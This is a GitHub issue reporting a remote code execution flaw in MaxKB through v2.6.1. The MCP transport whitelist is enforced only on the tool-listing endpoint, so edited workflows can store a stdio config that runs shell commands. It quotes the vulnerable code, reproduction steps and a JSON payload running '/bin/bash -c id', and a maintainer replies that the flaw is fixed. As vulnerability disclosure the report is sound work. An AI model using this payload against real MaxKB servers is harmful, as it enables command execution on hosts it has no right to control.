New issue

Remote Code Execution in MaxKB via MCP Server Configuration Validation Bypass #30

Open

AnalogyC0de opened last month Owner

Remote Code Execution in MaxKB via MCP Server Configuration Validation Bypass

Identification

- **Project:** MaxKB
- **Repository:** https://github.com/1Panel-dev/MaxKB
- **Affected Version/Commit:** <= v2.6.1

CVE Description

MaxKB is vulnerable to Remote Code Execution (RCE) due to improper validation placement in its Model Context Protocol (MCP) node implementation. Although the application implements a whitelist to restrict MCP transport types to safe values ('sse' and 'streamable_http'), this validation is only enforced on the tool-listing API endpoint. It is bypassed entirely during workflow application saving and execution. An authenticated user can inject arbitrary transport configurations (such as `stdio` with OS commands) via the application edit endpoint. When the workflow is subsequently triggered, the unsanitized configuration is passed directly to the `MultiServerMCPClient`, resulting in arbitrary shell command execution on the host server.

Affected Component

- **File(s):** `apps/application/serializers/application.py`, `apps/application/flow/step_node/mcp_node/impl/base_mcp_node.py`
- **Function / Method:** `edit()`, `BaseMcpNode.execute()`

- **Entry Point:** `PUT /api/workspace/{workspace_id}/application/{application_id}/edit`

Reproduction Summary

1. Authenticated user creates or edits an application workflow containing an MCP node with `mcp_servers` set to `{"transport": "stdio", "command": "/bin/bash", "args": ["-c", "id"]}`.
2. The workflow configuration is stored in the MySQL database via the `/edit` endpoint without triggering transport validation.
3. Any user chats with the application, triggering the workflow execution.
4. `BaseMcpNode.execute()` parses the stored attacker-controlled JSON and passes it directly to `MultiServerMCPClient`.
5. The MCP client spawns the configured shell command on the MaxKB server.

Technical Details

Current Validation Code (Whitelist Approach — Fixed Case Bypass but Wrong Path)

```
# File: apps/application/serializers/application.py:792-800
def get_mcp_servers(self, instance, with_valid=True):
    if with_valid:
        self.is_valid(raise_exception=True)
        McpServersSerializer(data=instance).is_valid(raise_exception=True)
    servers = json.loads(instance.get('mcp_servers'))
    for server, config in servers.items():
        if config.get('transport') not in ['sse', 'streamable_http']:  # Whitelist approach
            raise AppApiException(500, _('Only support transport=sse or transport=streamable_
    # ... returns tools list
```

Vulnerable Code — Validation Only Runs on Tool-Listing Endpoint

```
# File: apps/application/views/application.py:292-296
class McpServers(APIView):
    authentication_classes = [TokenAuth]
    # ...
    def post(self, request: Request, workspace_id, application_id: str):
        return result.success(ApplicationOperateSerializer(
            data={'mcp_servers': request.query_params.get('mcp_servers'), ...}).get_mcp_serve
```

Vulnerable Code — Edit Method Saves Without MCP Validation

```
# File: apps/application/serializers/application.py:991-1059
@transaction.atomic
def edit(self, instance: Dict, with_valid=True):
    if with_valid:
        self.is_valid()
        ApplicationEditSerializer(data=instance).is_valid(raise_exception=True)
```

```
    # ...
    update_keys = ['name', 'desc', 'model_id', ..., 'mcp_servers', ...]  # Line 1027-1034
    for update_key in update_keys:
        if update_key in instance and instance.get(update_key) is not None:
            application.__setattr__(update_key, instance.get(update_key))  # ❌ No MCP valida
    application.save()
```

Vulnerable Code — Execution Sink With No Validation

```
# File: apps/application/flow/step_node/mcp_node/impl/base_mcp_node.py:21-47
def execute(self, mcp_servers, mcp_server, mcp_tool, mcp_tool_id, mcp_source, tool_para..., **
    if mcp_source == 'referencing':
        # ... uses tool.code
    else:
        servers = json.loads(mcp_servers)  # ❌ Parses attacker-controlled JSON without valic
        servers = self.handle_variables(servers)
        # ...

    async def call_tool(t, a):
        client = MultiServerMCPClient(servers)  # ⚠️ SINK! No validation!
        async with client.session(mcp_server) as s:
            return await s.call_tool(t, a)

    res = asyncio.run(call_tool(mcp_tool, params))
```

Attack Payload Stored in Workflow Configuration

```
{
  "nodes": [{
    "type": "mcp-node",
    "properties": {
      "node_params": {
        "mcp_servers": "{\"pwn\": {\"transport\": \"STDIO\", \"command\": \"/bin/bash\", \"ar
        "mcp_server": "pwn",
        "mcp_tool": "help",
        "tool_params": {}
      }
    }
  }]
}
```

Validation Notes

```
Verification Results (2026-03-18):
Status: PARTIALLY PATCHED — Still Vulnerable

Fixed Issues:
- Case bypass FIXED: Changed from blacklist (`"stdio"` check) to whitelist (`['sse',
'streamable_http']`)
```

```
- All non-whitelisted transports are now blocked (including case variations)

Remaining Vulnerabilities:
- Wrong code path: The `get_mcp_servers()` validation method is only invoked by the MCP
servers listing endpoint (`POST
/api/workspace/{workspace_id}/application/{application_id}/mcp_servers`). It is never
called during application edit/save operations or workflow execution.
- No validation in edit(): The `edit()` method saves `mcp_servers` directly without
validation.
- No validation in execute(): The `base_mcp_node.py` executes MCP config without
validation.

Code Location Changes Summary:
- Validation file: application.py (formerly application_serializers.py)
- Validation line: 798-799 (formerly 1328)
- MCP node file: base_mcp_node.py:21-47 (formerly 20-30)
- MCP endpoint: /api/workspace/{workspace_id}/application/{application_id}/mcp_servers
```

```
# Attack Chain (Still Valid):

# Attacker payload in workflow config:
{
  "mcp_servers": "{\"pwn\": {\"transport\": \"stdio\", \"command\": \"/bin/bash\", \"args\":
}

# During workflow execution:
# 1. BaseMcpNode.execute() loads mcp_servers from MySQL
# 2. json.loads(mcp_servers) parses attacker's JSON
# 3. MultiServerMCPClient(servers) connects with stdio transport
# 4. Arbitrary shell command executes: /bin/bash -c id
```

liuruibin 3 weeks ago

This is a known vulnerability. Others have mentioned it and we have fixed it.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants